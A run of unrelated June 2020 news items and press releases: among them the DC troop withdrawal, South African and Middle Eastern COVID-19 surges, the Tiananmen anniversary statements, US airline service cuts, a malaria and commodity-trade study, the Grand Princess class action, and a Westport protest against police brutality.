But then officials got intelligence from the metropolitan police that there would be another large demonstration on Saturday, with an estimated 100,000 to 200,000 people showing up, McCarthy said, explaining Espers Wednesday decision on Wednesday to reverse himself and tell the troops to stay put.

We said oh hold our horses, and took a hard look at that, he said.

Now, the active-duty troops are heading out and will be gone by Saturday, McCarthy said.

The D.C. National Guard announced Wednesday it is conducting an investigation into the June 1 incident in which a helicopter flew low over protesters, blowing dust and knocking down tree branches. McCarthy said the crew of the helicopter in question has been grounded, and he expects to get a report on the interim results of the investigation on Friday.
BNI's Worldwide Visitor Week is June 14th-20th

CHARLOTTE, North Carolina, June 5, 2020 /PRNewswire/ -- BNI (Business Network International) is celebrating its Members' success in generating over $1 billion of new business in April alone. As the world's leading networking organization, BNI creates billions of dollars of opportunity for its Members each year to keep their businesses strong and growing.

To celebrate the amount of business generated in BNI, the organization is hosting Worldwide Visitor Week June 14th-20th and inviting growth-oriented businesses to join one of its BNI Online meetings compliments of BNI. BNI will also be showcasing its contemporary refreshed brand design with a dynamic new red BNI logo and multiple design elements that symbolize BNI Member growth. Visitors will also learn about the tools, training, and technology available to BNI Members that come with their membership at no extra cost.

"While many businesses have come to a complete stop, BNI Members around the world are helping each other. Without a doubt, every business out there should visit a BNI Online meeting during Worldwide Visitors Week," says Graham Weihmiller, BNI Chairman and CEO. "When businesses join the BNI network, they're instantly surrounded by a supportive an energetic group of like-minded businesses who are there to help every BNI business grow in any environment."

Year to date, BNI Members have generated more than $6 billion in business and passed nearly 5 million referrals. BNI is currently holding meetings online with its BNI Online platform, so it's easy to experience BNI from the convenience of your home or office. Business owners and entrepreneurs around the globe can easily visit a BNI Chapter online for free during Worldwide Visitor Week by going to BNI.com and getting an invitation.

About BNI

BNI is the world's largest and most successful business networking organization in the world. BNI has over 270,000 Members who attend one of over 9,500 weekly chapter meetings in more than 70 countries around the globe. BNI's proven business networking platform provides its Members the ideal environment, technology, training, and support to help them build strong businesses. BNI Online is an advanced online platform that helps Members connect in a structured virtual environment and has generated billions of dollars in business for BNI Members.

To see the new look and learn more about BNI, go to www.bni.com

Logo - https://mma.prnewswire.com/media/1177046/BNI_Logo.jpg

Related Links

http://bni.com



SOURCE BNI
Bharat Petroleum Corporation Ltd is quoting at Rs 367.25, up 2.8% on the day as on 12:54 IST on the NSE. The stock is down 7.51% in last one year as compared to a 14.59% slide in NIFTY and a 14.46% slide in the Nifty Energy index.

Bharat Petroleum Corporation Ltd is up for a third straight session today. The stock is quoting at Rs 367.25, up 2.8% on the day as on 12:54 IST on the NSE. The benchmark NIFTY is up around 0.86% on the day, quoting at 10115.4. The Sensex is at 34183, up 0.6%. Bharat Petroleum Corporation Ltd has gained around 6.82% in last one month.

Meanwhile, Nifty Energy index of which Bharat Petroleum Corporation Ltd is a constituent, has gained around 8.21% in last one month and is currently quoting at 13704.6, up 1.95% on the day. The volume in the stock stood at 77.35 lakh shares today, compared to the daily average of 97.51 lakh shares in last one month.

The benchmark June futures contract for the stock is quoting at Rs 366.7, up 2.69% on the day. Bharat Petroleum Corporation Ltd is down 7.51% in last one year as compared to a 14.59% slide in NIFTY and a 14.46% slide in the Nifty Energy index.

The PE of the stock is 21.52 based on TTM earnings ending March 20.

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(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Bomb squads have shuttered a Louisiana mall to investigate four suspicious packages after a man plowed his car into a Target store and dropped 'a device' on the ground.

Police discovered the four packages - two in Hammond Square Mall, one at a Dollar General store and another in a parking lot for poultry farming company Sanderson Farms - Friday afternoon and are working to find out if they are explosives, authorities said.

The packages were discovered after a man crashed his car through the Target store in the Hammond Square Mall and dropped one of the packages on the ground.

The terrifying incident was caught on camera, showing terrified shoppers fleeing the scene.

Bomb squads have shuttered a Louisiana mall to investigate four suspicious packages after a man plowed his car into a Target store and dropped 'a device' on the ground

Police arrested the driver and took him into custody.

The mall was evacuated and the scene continues to be under investigation.

Shocking footage emerged earlier of the scene inside the Target store when the man smashed his SUV through the store front at around lunchtime.

In the video, filmed by an eyewitness and obtained by WBRZ, the vehicle takes out some of the registers before coming to a halt.

Someone inside the store can be heard shouting 'hey!' at the driver as he revs the engine.

The person filming then breaks into a run and shouts at shoppers to evacuate the building.

'Everybody get out of the store. Get out of the store! Now!' he is heard yelling.

Police discovered the four packages and are working to find out if they are explosives, authorities said. The packages were discovered after a man crashed his car through the Target store in the Hammond Square Mall (above) and dropped one of the packages on the ground

The terrifying incident was caught on camera, showing the vehicle take out some of the registers before coming to a halt and causing shoppers to flee the scene

The footage shows them trying to round up shoppers toward the exit, saying: 'I don't know what they're trying to do.'

Police later confirmed the driver, who was unarmed, ran through the store and dropped an unidentified package on the store floor.

Hammond Police Chief Edwin Bergeron said it is not yet clear whether the package contains any explosives or weapons.

He said the item is similar to the other three found in the area and the man is thought to have acted alone.

Initial reports said there was an active shooter at the scene but police have said there is no evidence that any shots were fired.

'The guy was not shot, he did not shoot anyone,' Bergeron said.

Local residents are being told to stay away from the area while the investigation continues.
Cape Town, June 5 : South Africa has recorded 3,267 COVID-19 cases since Wednesday, the highest daily surge since the disease break out in early March.

The new infections took the nationwide tally to 40,792, Health Minister Zweli Mkhize said in his daily update on Thursday, Xinhua reported.

Meanwhile, the country reported 56 more deaths related with COVID-19 since Wednesday, also the highest daily record, the minister said.

"This brings the total national deaths to 848," Mkhize said.

Of the new deaths, 54 were in Western Cape Province.

A total of 21,311 recoveries has so far been reported, translating to a recovery rate of 52.24 per cent, he said.

A total of 820,675 tests have been processed to date, with 34,696 tests being conducted since the last report on Wednesday, Mkhize said.

Western Cape Province remains the epicentre of the epidemic in the country, with 27,006 cases and 651 deaths.

Also on Thursday, the government said it remained concerned about the intensity and increase of COVID-19 infections in Western Cape Province.

President Cyril Ramaphosa is expected to visit the province on Friday to inspect the situation and assess the province's readiness for continued management of the pandemic, government spokesperson Phumla Williams said.

Latest updates on Coronavirus (COVID-19)
By PTI

WASHINGTON: The White House has called on China to provide a full accounting of those who were killed, detained or remain missing in connection with events surrounding the 1989 Tiananmen Square massacre.

"The Chinese Communist Party's (CCP) slaughter of unarmed Chinese civilians was a tragedy that will not be forgotten," White House Press Secretary Kayleigh McEnany said in a statement on Thursday, joining the global condemnation of the massacre.

"The American people reflect on the courage and optimism of the hundreds of thousands of Chinese citizens who gathered peacefully 31 years ago in Beijing and throughout China to protest widespread official corruption and demand a greater say in the governance of their country," she said.

"The United States calls on China to honour the memory of those who lost their lives and to provide a full accounting of those who were killed, detained, or remain missing in connection with the events surrounding the Tiananmen Square massacre on June 4, 1989," McEnany said on the 31st anniversary of the incident.

On this day of remembrance, the people of the US call upon the Chinese government to fulfil its commitments under the Universal Declaration of Human Rights and the Sino-British Joint Declaration, to uphold the rights and freedoms guaranteed to all Chinese citizens under China's constitution, and to end the systematic persecution of millions of ethnic and religious minorities, she said.

"The American people stand together with all Chinese citizens in their pursuit of fundamental rights, including the right to accountable and representative governance and freedom of speech, assembly, and religious belief," the press secretary said.

A day earlier, Secretary of State Mike Pompeo met with Tiananmen Square survivors at the Department of State.

"We mourn the victims of June 4, 1989, and we stand with the people of China who continue to aspire to a government that protects human rights, fundamental, freedoms, and basic human dignity," said State Department Spokesperson Morgan Ortagus.

In a joint statement, a bipartisan group of more than a dozen influential senators from the Senate Foreign Relations Committee said the 31st anniversary is not just a time for mourning, but a call to action.

"Let us ensure that the United States remains a champion for freedom, and a defender of those who stands for democracy, freedom and equality for all," they said in the statement.

ALSO READ | Trump issues memorandum to protect US investors from Chinese companies

In the years since the Tiananmen massacre, the CCP has continued down a path of repression, the senator alleged.

"Under Chairman Xi, we have seen a further deterioration of freedom of speech, freedom of religion, and the rule of law in China", they said.

"Daily freedoms have also been lost to the CCP's widespread and intrusive mass surveillance system. Even more concerning is that this model of authoritarianism is becoming more influential to regimes around the world as the CCP seeks to reshape international rules and norms to accommodate its interests," according to the statement.

The massacre was no accident said House Republican Leader Kevin McCarthy.

"It was caused by China's fear of freedom and democracy. Today, as China has risen on the world stage, that fear has gone global. The crackdown in Hong Kong, the concentration camps in Western China, and the unwarranted aggression towards democratic India and Taiwan are just the latest signs," he said.

For more than three decades, protesters around the world, including in the US, have been inspired by the bravery shown by the protesters of Tiananmen, many risking their lives to fight for their rights, said Senator Ed Markey.

"They must not have died in vain. We must continue to hold up these values as the focal point of American foreign policy, but we have to recognize our own failings, and work to fully achieve the same freedoms here at home," he said.

Congressman Eliot Engel, Chairman of the House Committee on Foreign Affairs, said that in the decades since the Tiananmen massacre, the Chinese government has hidden the truth about that tragedy and become increasingly authoritarian, brutally repressing human rights, ethnic and religious minorities, and civil society leaders.

"Chinese authorities have exported their authoritarian system internationally, stepped-up aggression in disputed territories, including the South China Sea, East China Sea, and along its border with India, and violated Hong Kong's autonomy," he said.

Engel said he condemns the Chinese government's assault on the rule of law, trampling of international norms, and its abysmal record on human rights.
The Russian Embassy in Syria said Wednesday that the Kremlin has delivered a second batch of MiG-29 fighter aircraft to Khmeimim air base.

The statement followed an announcement Saturday by Syrias state-run SANA news agency that a second group of modern and advanced MiG-29 fighters was received in a ceremony the same day at the base in Latakia. SANA said Syrian pilots would begin flying missions with the aircraft Monday.

The statements left unclear when the first batch of planes was received.

The Syrian announcement came four days after the United States accused Russia of delivering at least 14 MiG-29 and Su-24 aircraft to Libya via Syria, where US Africa Command said they were repainted before continuing on to support Khalifa Hifters campaign against the United Nations-backed government in Tripoli.

AFRICOMs commander called the move a serious escalation. Viktor Bondarev, a parliamentarian who formerly led the Russian air force, denied the government had sent aircraft to Libya. Russia also denies that its Wagner paramilitary troops are present in the country despite significant evidence.

A top AFRICOM intelligence official last week responded to Russias denial, saying the United States was able to watch and photograph the aircraft as they flew from Russia "by way of Iran" to Syria before continuing on to Libya.

AFRICOM earlier this week suggested it was considering sending military trainers to Tunisia in response to Russias involvement in Libya. Hifters forces have been in retreat and the UN-backed governments forces declared full control of Tripoli on Thursday.

It is not clear how many of Syrias MiG-29s are still functional after years of sanctions and war. The countrys military has relied more on its less advanced Su-24s in recent years, two of which Turkey downed earlier this year over the countrys northwest.
Saudi Arabia had barely inaugurated a slogan for loosening its coronavirus restrictions -- "Return carefully" -- when health officials looking at the numbers started to threaten another lockdown.

The number of covid-19 patients in critical condition in the kingdom has tripled over the past week. Just days after the economy reopened, health-care workers are also falling ill, hospitals are filling up and some intensive care units are near capacity, according to interviews with nearly a dozen medical workers in Riyadh and Jeddah, who spoke on condition of anonymity. The fatality rate, still low, is rising.

Countries across the Middle East are grappling with what appears to be a new surge in coronavirus cases -- offering a cautionary tale for a world gradually reopening to a new normal. Iran, the epicenter of the Mideast outbreak, is back to reporting record numbers of daily infections after relaxing restrictions over the past two months. Egypt said it expects a significant rise in cases over coming weeks. In Israel, where restaurants and bars got the go-ahead to start seating customers last week, an uptick in cases since the reopening has forced cancellation of events including meetings of parliament.

At a cabinet meeting on Sunday, Israeli Prime Minister Benjamin Netanyahu lamented what he called "a loosening of discipline."

Some states in the region appear to be doing better. In the United Arab Emirates, a travel and business hub, the number of new cases reported has fallen steadily in the past week, despite a recent easing of movement restrictions. Case rates in Kuwait and Qatar have held steady.

But Saudi Arabia's example shows how quickly a country's control over the novel coronavirus can start to slip. The nation of 34 million has reported one of the lowest death rates in the world, even as the virus hobbled health care systems in the U.S. and Italy. According to data compiled by Bloomberg from Johns Hopkins University, Saudi Arabia's mortality rate is around 0.7%, compared with 5.8% in the U.S. and more than 14% in the U.K., although a lack of standardized reporting makes country-to-country comparisons difficult.

Part of that may be due to the kingdom's relatively young population, but Saudi Arabia also acted swiftly -- imposing restrictions in March, with the number of cases in the country still under 100. It shut domestic and foreign travel and began quarantining thousands of people in hotels. In April, a 24-hour curfew was announced for major cities -- followed by another lock-down in late May during an Islamic holiday.

Then, last week, the government announced a gradual return to "normal life," with guidelines for new precautionary measures. Face masks were mandated in public, borders are still closed and an 8 p.m. curfew remains. But mosques opened their doors to the faithful, restaurants began hosting diners and workers went back to their offices in droves.

The government replaced its slogan during the lockdown, "We're all responsible," with the new one, and plastered it on billboards across the capital.

"We're prepared for any situation," Health Minister Tawfiq Al-Rabiah said in an interview with Al-Arabiya television last week. "We ensure our capability to absorb any case that reaches us."

Yet interviews with health-care workers this week suggest that a grave situation was already brewing, and so do official figures. The number of patients in critical condition has spiked from less than 400 last week to 1,412 on Friday.

"These worrying numbers show that there are unhealthy behaviors and activities happening," health ministry spokesman Mohammed Al-Abdulaali admonished the public on Tuesday.

While some Saudi medical workers told Bloomberg their hospitals have plenty of space, others said that beds are filling up and reported outbreaks among staff -- putting much-needed care-givers out of commission.

"I thought we were okay, but we're not at all," one nurse said, asking not to be named discussing sensitive information in a country where freedom of speech isn't protected.

Days after unshuttering offices, some government agencies have sent employees home after positive cases were discovered, according to internal notices seen by Bloomberg. Several health-care workers said they're awaiting the coming weeks with dread and expect a surge of cases contracted during the reopening.

The health ministry did not immediately respond to a request for comment, but officials have warned that the country could return to stricter measures if cases don't subside.

On Friday, authorities re-imposed a 3 p.m. curfew and other restrictions in the second-biggest city, Jeddah, for the next 15 days, citing "high occupancy levels in ICUs." In a statement, the interior ministry said officials are monitoring the number of critical cases in Riyadh and are "prepared to take the appropriate measure if the increase continues." The number of daily new cases rose sharply to 2,591, the highest in two weeks.

Israel, like Saudi Arabia, imposed strict precautions early, with a near-total lockdown between mid-March and mid-April; at one point, residents were not allowed further than 100 meters from their residences. The country has lifted restrictions since late April, opening schools and returning workers to offices in stages. The latest green light was given to train services, set to start Monday.

But authorities have also shut schools linked to outbreaks, and some parents are choosing to keep their children home after a recent rise in new cases.

Countries adjacent to the Middle East are also struggling with reopening.

Just north of Iran in the landlocked Caucasus nation of Armenia, Prime Minister Nikol Pashinyan announced Monday that he and his family have tested positive for coronavirus. Faced with growing economic hardship, the government largely lifted coronavirus restrictions on May 3, relying on people to wear face masks and adhere to social distancing.

Infections have ballooned since then to 11,221. Yet cafes are still overflowing, and many aren't wearing masks. On Thursday, Pashinyan warned on Facebook that hospitals were on the verge of being unable to cope.

On Thursday, Turkey said it was lifting pandemic-related restrictions on Iran and allowing traffic through the border gates again. Azerbaijan, another country that borders Iran, said the same day that it was reimposing strict lockdowns in the capital Baku and three other cities after the number of new infections rose following the easing of restrictions.
She would not disclose the countries.I cannot disclose which countries have been co-operating with us because we dont want to jeopardise investigations, but what I can tell you for now is that our officers are investigating all those issues and we will make a statement at the most appropriate time.
By David Shepardson

WASHINGTON (Reuters) - Fifteen U.S. airlines were granted final government approval on Wednesday to temporarily halt service to 75 domestic airports as travel demand has been crushed due to the coronavirus pandemic.

The U.S. Transportation Department said all airports would continue to be served by at least one air carrier. Despite some objections to a tentative list made public on May 22, the government did not make any changes.

The U.S. airline industry has been awarded $25 billion in government payroll assistance grants to help weather the pandemic. While carriers must maintain minimum service levels to receive the assistance, many petitioned to stop service to airports with low passenger demand.

The department has previously allowed some airlines to halt service to some airports and rejected other requests.

Both United Airlines and Delta Air Lines won approval to halt flights to 11 airports. Allegiant Air was allowed to halt service to six airports, while JetBlue Airways Corp, Alaska Airlines, Spirit Airlines and Frontier Airlines gained approval to stop flights to five airports each.

U.S. air carriers have said they are collectively burning through more than $10 billion in cash a month as travel demand remains a fraction of prior levels. They have parked more than half of their planes and cut thousands of flights.

Cities that Delta can halt service to include Aspen, Colorado; Bangor, Maine; Santa Barbara, California and Flint, Michigan.

United can halt service to airports including Chattanooga, Tennessee; Hilton Head and Myrtle Beach, South Carolina as well as Key West, Florida.

Other airlines winning approval to halt some flights include American Airlines, Sun Country Airlines and Silver Airlines.

(Reporting by David Shepardson; Editing by Kim Coghill and Edwina Gibbs)
A paper recently published in Nature Communications is the first to show a connection between demand from certain developed countries for agricultural commodities and the growing risk of malaria in the countries that supply those goods. The study was conducted by scientists affiliated with the School of Public Health of the University of Sao Paulo (FSP-USP) in Brazil and colleagues at the University of Sydney in Australia.

According to the article, approximately 20% of the malaria risk in deforestation hotspots is due to the international trade in goods such as timber, wood products, tobacco, cocoa, coffee and cotton.

The researchers used data for the period 2000-2015. The study was part of the "Latitudinal landscape genomics and ecology of Anopheles darlingi" Thematic Project supported by Sao Paulo Research Foundation - FAPESP.

The methodology, which correlates world trade routes with data on forest cover loss in the agricultural commodity exporting countries where malaria occurs, was developed by Maria Anice Mureb Sallum, a professor at FSP-USP, and her PhD student Leonardo Suveges Moreira Chaves, the first author of the article, in collaboration with Manfred Lenzen, a professor at the University of Sydney, and his research group.

"Lenzen maintains a database on international trade covering 189 countries and sources such as the World Trade Organization and World Bank, among others," Sallum said. "We know from the data who sells what and where, who they sell to, who processes the commodities, and where the processed end-products are consumed. For example, certain countries buy cocoa, produce chocolate and export to the rest of the world. All links in the supply chain were taken into account."

According to Suveges, more than 1 billion commodity trade routes were analyzed by Lenzen and his group using high-performance computing. "Malaria incidence correlates closely with landscape change due to deforestation, which favors the proliferation of vectors and exposes human communities to these insects," Suveges explained. "So, we attributed part of the total number of malaria cases to deforestation and called it 'malaria risk,' meaning how many cases there would be in the presence of deforestation but in the absence of public health interventions to control the disease, such as insecticide-impregnated mosquito netting and artemisinin-based drug treatment. Part of this risk is associated with the world trade in commodities."

The researchers selected the countries that had cases of malaria and deforestation hotspots and cross-tabulated this dataset with commodity supply chain data, particularly for the final destinations of the goods in question. They concluded that 10% of deforestation-linked malaria risk was associated with ten countries that import these commodities: Germany, the United States, Japan, China, the United Kingdom, France, Italy, Spain, the Netherlands, and Belgium.

The demand for certain commodities in these countries may exacerbate the malaria risk for 10.7 million people in low-income net exporting countries, mostly in sub-Saharan Africa.

Malaria risk by numbers

Deforestation-implicated malaria risk, as defined by the researchers, was highest in Nigeria, corresponding to 5.98 million cases in 2015. These were due in part to exports of timber to China (USD 332?million in 2015) and exports of cocoa beans to the Netherlands (USD 334?million), Germany (USD 72 million), and Belgium, France, Spain and Italy (USD 35 million), as well as exports of charcoal to Europe (USD 35 million).

Next came Tanzania, with 5.66 million people at risk of deforestation-linked malaria in 2015, partly owing to exports of raw tobacco to Europe and Asia (USD 344 million), raw cotton to Southeast Asia (USD 41 million), and sawn timber to India (USD 20 million).

Uganda had 5.49 million deforestation-linked malaria risk cases, potentially driven by exports of raw coffee to Italy (USD 88 million in 2015), Germany (USD 63 million), Belgium (USD 40 million), the United States and Spain (USD 21 million each) and to a lesser extent by exports of raw cotton to South and Southeast Asia (USD 15 million).

Finally, the authors write that deforestation-linked malaria in Cameroon (5.49 million risk cases) could be connected to exports of cocoa to the Netherlands (USD 300?million), Spain, Belgium, France and Germany (altogether USD 79?million in 2015), rough timber to China (USD 175?million), and sawn timber to China, Belgium, Italy, the United States, and many other destinations (altogether USD 440?million).

According to the article, other countries with high levels of deforestation-linked malaria risk were (in descending order) DR Congo, India, Zambia, Myanmar, the Central African Republic, and Burundi. Their main trading partner was China, to which they mainly exported timber.

In a supplementary note to the article, the authors add that Chinese imports of commodities in 2015 accounted for 1.7 million cases of malaria in countries where deforestation is linked to the production and export of the commodities in question. Next came imports by Germany, accounting for 1.5 million cases, followed by Japan (986,000), the United States (770,000), the United Kingdom (815,000), Italy (595,000), the Netherlands (581,000), Spain (466,000), France (463,000), and Belgium (361,000).

Insufficient compensation

"It's striking that the US, the UK, France, Germany and Japan, some of the main importers of malaria-implicated products, provide financial support for malaria control programs, especially in sub-Saharan Africa," Suveges said.

However, the numbers do not add up. In 2017, global investment in malaria control and prevention totaled USD 3.2 billion, with high-income donors providing 72%. However, the authors write that malaria-endemic countries bore 28% of the total, which was less than half of what was required to reduce malaria morbidity and mortality rates in line with Health Target 3.3 of the Sustainable Development Goals (SDGs) proposed for 2030 by the United Nations.

The countries that produce and export commodities remained in this position throughout the period analyzed, Sallum stressed. "We know from previously published studies that malaria is affected by the social impact of economic development, when people have better housing and better conditions for land use, all of which protects them. If commodity exporters became suppliers of manufactured goods, they would add more value to their production, and their societies would benefit. This in turn could reduce the need for deforestation and mitigate malaria risk," she said.

"However, the fact that supply chain roles don't change demonstrates the inequality prevailing in these relations. Commodity prices are set by the importers."
South Africa: All South Africans called upon to flatten the curve

Deputy President David Mabuza says all South Africans have a responsibility to play an active role in combating the spread and transmission of COVID-19, as they have done in the past when faced with challenges such as HIV and TB.

As a country, we are all called upon to flatten the curve and save lives, Mabuza said.

Speaking on Friday during a visit to the Free State to assess the provinces state of readiness, the Deputy President said government has had to take tough decisions to flatten the curve of infections, and to save lives as the country prepares for possible tough times ahead.

In the midst of all that, we remain hopeful that we will emerge out of these uncertain times. We have the right leadership to steer us through these uncharted waters.

It has become clear to us that success factors to an effective containment strategy across all provinces, have largely been as a result of implementing screening and testing at a large scale, having active surveillance measures, and driving behavioural change, Mabuza said.

He said he appreciated the work and contribution of the Free State province in combatting the spread of the Coronavirus pandemic.

Under your leadership, this province has screened 61 percent of its population and has contact tracing levels of about 99 percent. Free State should expand its efforts to ensure that it utilises all the elements of what we have called the Coronavirus Prevention Toolbox.

The Deputy President said as people return to their workplaces, as students return to school, and as travel restrictions are relaxed, people must maintain discipline so that new infections are averted.

As a country government has made notable progress in overcoming other health challenges through programmes such as the Checka Impilo campaign.

The lessons already learnt with this campaign, are invaluable in dealing with this pandemic. One of our key responsibilities is fighting stigma as we tackle this pandemic, for stigma perpetuates discrimination.

It discourages those infected by COVID-19 to seek medical attention, thereby undermining our efforts of defeating this pandemic, the Deputy President said.

Meanwhile, President Cyril Ramaphosa visited the Western Cape to assess the provinces state of readiness for the pandemic.  SAnews.gov.za

This story has been published on: 2020-06-05. To contact the author, please use the contact details within the article.
05.06.2020 LISTEN

As I ponder over the words of Dr. Kwame Nkrumah on the eve of the Independence of Ghana, the black man is capable of managing his own affairs when given the opportunity, I wonder the veracity or otherwise of this statement. After so many years of African political liberation, the continent is still battling with poverty, high rate of graduate unemployment, political violence among others. Is the black man really capable of managing his own affairs?

Africa remains a beautiful continent, a land with abundant natural resources, a land with awesome and intelligent people. A continent that has been blessed with all the resources required to transform its economy yet confronted with many woes and challenges. What an irony!

Several literature has described Africa as a developing country, for how long will we continue to develop? Other literature also describes Africa as a poor continent? Is Africa a poor continent?

Undoubtedly, Africa cannot be poor and is never poor but perhaps Africans are poor.

Being blessed and endowed with precious and valuable resources such as gold, oil, bauxite, timber among others at our disposal. With the vast and fertile land that can aid in agricultural activities: the African continent still relies hugely on foreign market for agricultural produce. The great African continent our forefathers brought forth is nowhere to be found.

On the contrary, why will Africans not be poor when we have sold our conscience and portray such greediness and selfishness in our daily lives? Why wont Africans be poor when we see opportunities to serve our motherland as an opportunity to loot and enrich our families? Africa is not poor but Africans are poor due to our negative attitudes.

Pointing accusing fingers at each other especially in our political circles has been the order of the day. Sadly, this trend has led us to nowhere but rather worsened our woes. Isnt it sad, that after several years of independence, we still blame our colonial rulers for our woes? I can only agree with this point if, our colonial rulers handed over to us political independence and took away or attitudinal independence which we have to fight for! If that is the case, then let us therefore continue to struggle for attitudinal independence as a means of addressing our woes.

Isnt it sad and heart-breaking that, some people work for several years and still back date their date of birth in order to stay in public office after attaining the mandatory age of retirement?

Isnt it more worrying that, Africans still defecate in our water bodies in this 21st Century?

Isnt it crazy that, we litter around and build on water ways? Isnt it more disturbing that, we manufacture products and label them as foreign goods?

Probably, Africans are not poor materially but are highly indebted attitudinally.

Instead of always engaging in the blame game as to why Africans are poor in spite of our rich continent, let us take a retrospective look at our daily attitudes. Imagine an Africa where there is no filth and dirt on the streets. Imagine an Africa where people aspire for political office and other leadership positions to serve and not to be served. Imagine a corruption free Africa where resources are evenly and equitably distributed. Imagine an Africa where jobs and promotions are given based on merits. Imagine an Africa where Europeans and Americans will have to struggle to get VISA to visit our continent to seek for greener pastures.

One of the surest ways to turn this Imaginary beautiful Africa into reality is to change our negative attitudes. Positive attitude will surely make Africans as rich as Africa. Let us not disappoint Kwame Nkrumah and other founding fathers of Africa for fighting hard for political freedom. Let generations to come remember us for fighting for attitudinal independence just as we remember our forefathers for fighting for political independence. With positive attitudes, there is no doubt that, the words of Kwame Nkrumah, the black man is capable of managing his own affairs will be a reality and not a myth.

Vincent Ohene- Ntow

YALI DREAM

A BETTER GHANA

A BRIGHTER AFRICA.

Email: [email protected]
SAN FRANCISCO, June 4, 2020 /PRNewswire/ -- The first class action lawsuit was filed today on behalf of the more than 2,800 passengers negligently exposed to COVID-19 on the Princess Cruise Lines Grand Princess cruise from San Francisco to Mexico from February 11, 2020 through February 21, 2020. The law firms Lieff Cabraser Heimann & Bernstein, LLP, Mary Alexander & Associates, and Nelson & Fraenkel, LLP filed the suit in the United States District Court for the Central District of California.

The complaint alleges that at least 100 passengers who traveled onboard the Grand Princess Mexico trip have tested positive for COVID-19, and two died after disembarking. One of these fatalities was, at the time, the first-reported death caused by COVID-19 in California. All told, Carnival cruises have reportedly been associated with more than 1,500 positive COVID-19 infections and nearly 40 deaths.

"Carnival and Princess allowed potentially infected individuals on the Mexico cruise to share confined space with other passengers, casually and callously exposing all 2,500 passengers to serious illness from COVID-19," said Lieff Cabraser partner Elizabeth Cabraser, who filed the lawsuit on behalf of the Plaintiffs.

As detailed in the complaint, before the Mexico cruise, Carnival and Princess became aware of an outbreak of COVID-19 aboard another of their cruise ships, the Diamond Princess, during cruises in Asia. Ten cases were originally diagnosed, and that number rapidly escalated to over 700 casesover one-fifth of the passengers onboardwith 14 deaths.

On February 11, 2020, approximately ten days after Carnival and Princess learned about the infections aboard the Diamond Princess, the defendants boarded plaintiffs and approximately 2,500 other passengers onto the Grand Princess for a roundtrip voyage to Mexico without conducting any effective medical screenings for passengers and without providing any additional information about best practices to mitigate or prevent the spread of COVID-19.

The complaint alleges that on or around February 19, 2020, Carnival and Princess became aware of at least one passenger suffering from COVID-19 symptoms onboard the Grand Princess Mexico cruise, but they did not warn passengers aboard the ship, nor did they put into place any quarantine requirements, social distancing protocols, or meaningfully alter their on-ship protocols, event itineraries, or cleaning and disinfectant practices to prevent the spread of COVID-19. As alleged in the complaint, after Carnival and Princess became aware of the first case aboard the ship, they worked to "keep the fun going" by "encouraging [guests] to mingle."

While onboard the Grand Princess, Plaintiff Dwight Everett began to experience symptoms consistent with COVID-19 and chose to self-isolate in his cabin. After disembarking from the cruise and returning to his home, Mr. Everett tested positive for COVID-19. Plaintiff Connie Simmons also became extremely ill while aboard the cruise, and suffered from a fever. She contacted medical staff on the ship, but did not receive any response for three days. When a doctor finally visited her room, the doctor refused to enter.

"We are shocked and disappointed that Carnival and Princess endangered our family," said Plaintiff James Simmons, who traveled aboard the Grand Princess with his family, including his mother, Connie Simmons. "We have been loyal customers for years and never imagined that Carnival and Princess would so carelessly put our health at risk."

"Multiple passengers on the Grand Princess's Mexico trip suffered from COVID-19 symptoms while on the vessel," noted Mary Alexander, who also represents the plaintiffs in the case, "exposing other passengers and crew members trapped on board the ship to the virus. This is categorically unacceptable."

The lawsuit sets forth claims of negligence, gross negligence, negligent infliction of emotional distress, and intentional infliction of emotional distress, and seeks injunctive as well as compensatory damages, including the implementation by Carnival and Princess of new and meaningful appropriate social distancing and communicable disease communication and disinfection protocols upon all cruise ships, as well as ongoing medical monitoring, diagnostics, and treatment for all infected class members.

To read the complaint, go to: https://drive.google.com/file/d/1402eDXB2Lvd9XTEKfN9DfvYT2lYkMBuR/view?usp=sharing

Source/Contact

Elizabeth Cabraser

Lieff Cabraser Heimann & Bernstein, LLP

275 Battery Street, Suite 2900

San Francisco, CA 94111

415 956-1000

[email protected]

www.lieffcabraser.com

Mary E. Alexander

Mary Alexander & Associates, P.C.

44 Montgomery Street, Suite 1303

San Francisco, CA 94104

415 433-4440

[email protected]

www.maryalexanderlaw.com

SOURCE Mary Alexander & Associates

Related Links

https://maryalexanderlaw.com


WESTPORT  For the third time this week, hundreds of people from around the area of all ages, race and gender gathered peacefully to protest police brutality and systemic racism.

The protests, like those nationwide, came as a response to the killing of George Floyd and other black people at the hands of police.

I never met George Floyd, but I knew him. We knew him. Hes my father, my mother, my brother, hes our black friend...hes me Natasha Johnson, a Staples High School senior, said at the protest on Friday. As long as he cant breathe, I cant breathe. We cant breathe.

Johnson, alongside Niah Michel, a Staples senior, and Isabel Geelan organized the protest. In February, Michel submitted a letter to the editor on WestportNow detailing challenges students of color faced from both their peers and the schools staff.

Racism has been in front of our eyes for decades and decades, and the justice has done nothing about it, Michel said. African American men, women and adolescents have to do so much to be heard.

Several students joined Michel to discuss challenges they also faced in the Westport Public Schools system.

Coming here is not enough, Chet Ellis, a Staples graduate, said. So many of you here walked in the halls of Staples High School and you walked past racism and you walked past microaggressions. I see so many of you in the crowd who stood silent when I needed you the most.

Ellis, who won the towns teen diversity essay contest last year after writing about the racism he faced as a black student, said education is important to break the walls between communities.

I know a lot of you stood by and watched racism happen not because you were bad people but because you didnt know, he said, adding those gathered should read black literary legends like James Baldwin. Learn about black people.

Several businesses around town boarded up their storefronts in the days leading up to the protest after rumors circulated around town of outside agitators. But hundreds marched peacefully from the Ruth Steinkraus Cohen Bridge to the Westport Police Department.

In the town of Westport and at the Westport Police Department, Im going to be very clear, black lives do matter, Westport Police Chief Foti Koskinas said.

Koskinas said law enforcement has a lot of work to be done to regain the trust of the nation.

Weve had discussions here and its been very clear: If a single police officer feels what they saw (happen to) George Floyd was just, they need to resign, he said. Thats a very clear message here.

Koskinas said police have to be morally sound, ethical and legal in their work.

When we look at these latest incidents, we lack every one of those, he said. We fail when we dont do one of them correctly and we certainly fail when we do all three of them wrong.

Wilner Joseph of Stamford said the unity saw at the protest was important but emphasized the work has to continue.

This can go a long way if were consistent, he said. Us as black folks have been hurting for so long.

Chaquanzha Stephenson, a community activist and founder of DOPE Inc., assisted in organizing the protest but credited the young women who took leadership in putting it together.

They were really the focal point of all this. Im just so proud of them, she said.

Stephenson said its important to stay abreast and keep pushing for change.

